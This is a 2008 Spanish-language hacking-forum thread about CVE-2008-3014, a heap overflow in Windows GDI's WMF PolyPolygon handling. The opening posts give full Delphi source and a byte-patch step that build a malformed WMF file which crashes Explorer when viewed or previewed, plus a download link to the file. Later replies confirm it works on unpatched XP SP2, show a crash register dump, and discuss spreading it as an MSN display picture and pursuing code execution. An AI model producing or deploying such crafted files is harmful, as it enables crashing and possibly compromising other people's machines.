elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 08:35  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();  (Leído 4,650 veces)
leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
[°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« en: 25 Septiembre 2008, 17:25 »

bueno despues de quemarme los ojos con funciones de Metafiles de windows, que por cierto , la info es escasa.
pude armarme este Poc , que al menos en mi pc funciono y provoca un Denial of service.

es un bug que salio hace poquito en security focus. y al toque me puse a investigar , amo los bugs de el gdi :P

Citar
Bugtraq ID:    31021
Class:    Boundary Condition Error
CVE:    CVE-2008-3014
Remote:    Yes
Local:    No
Published:    Sep 09 2008 12:00AM
Updated:    Sep 13 2008 06:30PM
Credit:    Vulnerability Research Team, Assurent Secure Technologies

fuente : http://www.securityfocus.com/bid/31021/info





el poc que arme :   http://rs431.rapidshare.com/files/145925641/polypolygon_head_overflow_.zip
(es un jpg , (wmf) , que al abrirlo o previsualizarlo crashea el explorer.exe, si lo previsualizas, si no el rundll32.exe)

la funcion es la x0538 (PolyPolygon)  , y genera un heap overflow  al pasarle un array de muchos poligonos con xFFFF puntos
cada uno.
al menos en mi pc funciona , lo q no quiere decir que en las demas tambien , por eso necesito que lo comprueben otras pc
y creo que es un gran comienzo para el que quiera adentrarse en estas cosas. y bienvenido el que pueda ejecutar codigo a travez de este bug como ya una vez paso con el famoso Setabortdoc.

bueno espero que les sirva

Pd: La funcion Polypolygon es una funcion que se usa para dibujar muchos poligonos , con sus respectivos puntos.
« Última modificación: 25 Septiembre 2008, 19:58 por sirdarckcat » En línea
leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #1 en: 25 Septiembre 2008, 17:29 »

y les dejo el codigo de como arme el wmf
esta en pascal/ delphi (borland)
IMPORTANTE: en el archivo que se crea tenemos que reemplazar todos los 0200 que genera , por FFFF, porq desde el compilador no podemos hacerlo porq es justamente el Bof :P

Código:
program poly;

{$APPTYPE CONSOLE}

uses
  SysUtils,
  Strutils,
  Windows,
  Graphics,
  types;

var
 Wmf : TMetafile;
  WmfCanvas: TMetafileCanvas;
  pntArray : array[0..65534] of TPOINT;
  PntCounts : array[0..8191] of longint;
  i : longint;
  a,b:integer;
begin
  Wmf := TMetafile.Create;
  Wmf.Enhanced := false;
   WmfCanvas := Tmetafilecanvas.CreateWithComment(Wmf,0,'Leos_79','Poc Creado por Leos_79 solo para usos educacionales');


  Wmf.Width := 100;
  Wmf.Height := 100;

for i :=  0 to 65534 do   pntArray [i] := Point(25,75);
for i := 0 to 8191 do   PntCounts[i] := 02;  //en el archivo reemplazar los 02 00 por FFFF


  PolyPolygon(WmfCanvas.Handle, PntArray, PntCounts, 8192);
  wmfcanvas.Free;
  wmf.SaveToFile('c:\testXX.wmf');
  wmf.Free;
end.

espero que les sirva para jugar un ratito jeje :), y si alguien se anima intentar conseguir ejecutar codigo , aunque se ve dificil :S
En línea
w0od93

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #2 en: 27 Septiembre 2008, 21:00 »

no va,  se abre y son letras la foto
En línea
leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #3 en: 27 Septiembre 2008, 23:24 »

no va,  se abre y son letras la foto

es un wmf , es raro pero puede que no tengas asociado abrir el wmf con el visor de windows. pero te aseguro que funciona en SP2 ya fue testeado en varias maquinas.
y ni hace falta abrirlo con tan solo previsualizarlo ya esta

y las letras es el codigo del wmf jeje
En línea
Rentero
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.163


La paciencia es la madre de la ciencia.


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #4 en: 29 Septiembre 2008, 15:52 »

Si funciona. Sería bueno conseguir ejecutar codigo como dices jeje
En línea

Firmado.
leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #5 en: 29 Septiembre 2008, 17:30 »

el problema es q solo sobrescribe los 2 bytes menos significativos :S
y las direcciones de memoria son de 4 bytes
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #6 en: 29 Septiembre 2008, 18:00 »

a mi no me ha funcionado :/

En línea

Trancek

Desconectado Desconectado

Mensajes: 29


Ver Perfil WWW
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #7 en: 29 Septiembre 2008, 22:44 »

sera que no funciona porque teneis instalado el parche de microsoft, porque esta vulnerabilidad es las que hna sido de este mes creo, que salieron un cojon, o a lo mejor no tienes lo del GDI, yo en mi pc no lo encontraba el archivo vulnerable jej, es raro..
En línea

leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #8 en: 30 Septiembre 2008, 00:44 »


Microsoft Windows XP [Versión 5.1.2600] Service Pack 2
version del GDI.Dll : 5.1.2600.2180

esto es donde lo probe en casa, y en otras pcs tmb
todas con SP2 , con Sp3 hice solo 1 testeo y no funcionó.

saludos!
En línea
Rentero
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.163


La paciencia es la madre de la ciencia.


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #9 en: 30 Septiembre 2008, 15:29 »

Bueno. En mi PC tampoco peta, pero en una maquina virtual Windows XP SP2 sin parchear absolutamente nada si.

Peta de cualquier manera, incluso dandole a las propiedades de la carpeta a la pestaña de compartir, porque se genera una vista previa. Ahí no solo peta explorer, sino que tambien sale un informe de errores sobre el Dr. Watson.

No se alomejor podría aprovecharse de alguna forma jeje
En línea

Firmado.
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #10 en: 1 Octubre 2008, 01:49 »

Alguien ha intentado usar la imagen de display en MSN Messenger?
En línea

leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #11 en: 1 Octubre 2008, 02:28 »

como display no pasa nada, 
lo que no probé es con Carpetas compartidas de msn(la que hace vistas previas)
el anterior de Gdi el de escape() hacia el Bof tambien ahi.


con el display local EDX queda en 0 entonces falla un CALL DWORD PTR DS: [EDX]

Código:
EAX 0006FEDC
ECX 0006F808 UNICODE "G.EXE" -AEDEBUG 3528 3264"
EDX 00000000
EBX 75CA0000 inetcomm.75CA0000
ESP 0006FEC8
EBP 0006FECC
ESI 00000000
EDI 00000000
EIP 5911CEE2 MSNCore.5911CEE2



habria que investigar, esto ocurre con el windows live messenger de Xp
« Última modificación: 1 Octubre 2008, 02:52 por leos_79 » En línea
leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #12 en: 1 Octubre 2008, 03:24 »

si tenes el gdi parcheado no es posible mostrar la imagen
osea que solo seria una explotaciòn local lo de la imagen para mostrar

la unica que no probe es la de carpetas compartidas de msn
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #13 en: 1 Octubre 2008, 05:47 »

intenten poniendo la imagen desde un cliente como aMSN.. que no modifican la imagen antes de enviarla.

lo haria yo pero mi computadora anda enferma ¬¬

Saludos!!
En línea

leos_79

Desconectado Desconectado

Mensajes: 189


Anyway, Anyhow, Anywhere


Ver Perfil
Re: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon();
« Respuesta #14 en: 1 Octubre 2008, 07:04 »

lo dejo para mañana lo del alvaromsn :P o el que lo quiera intentar ahora que avise ;)
yo muero de sueño y mañana curso algoritmos con pascal :P

saludos sir!  digale a su pc q se abrigue :P
« Última modificación: 1 Octubre 2008, 07:09 por leos_79 » En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines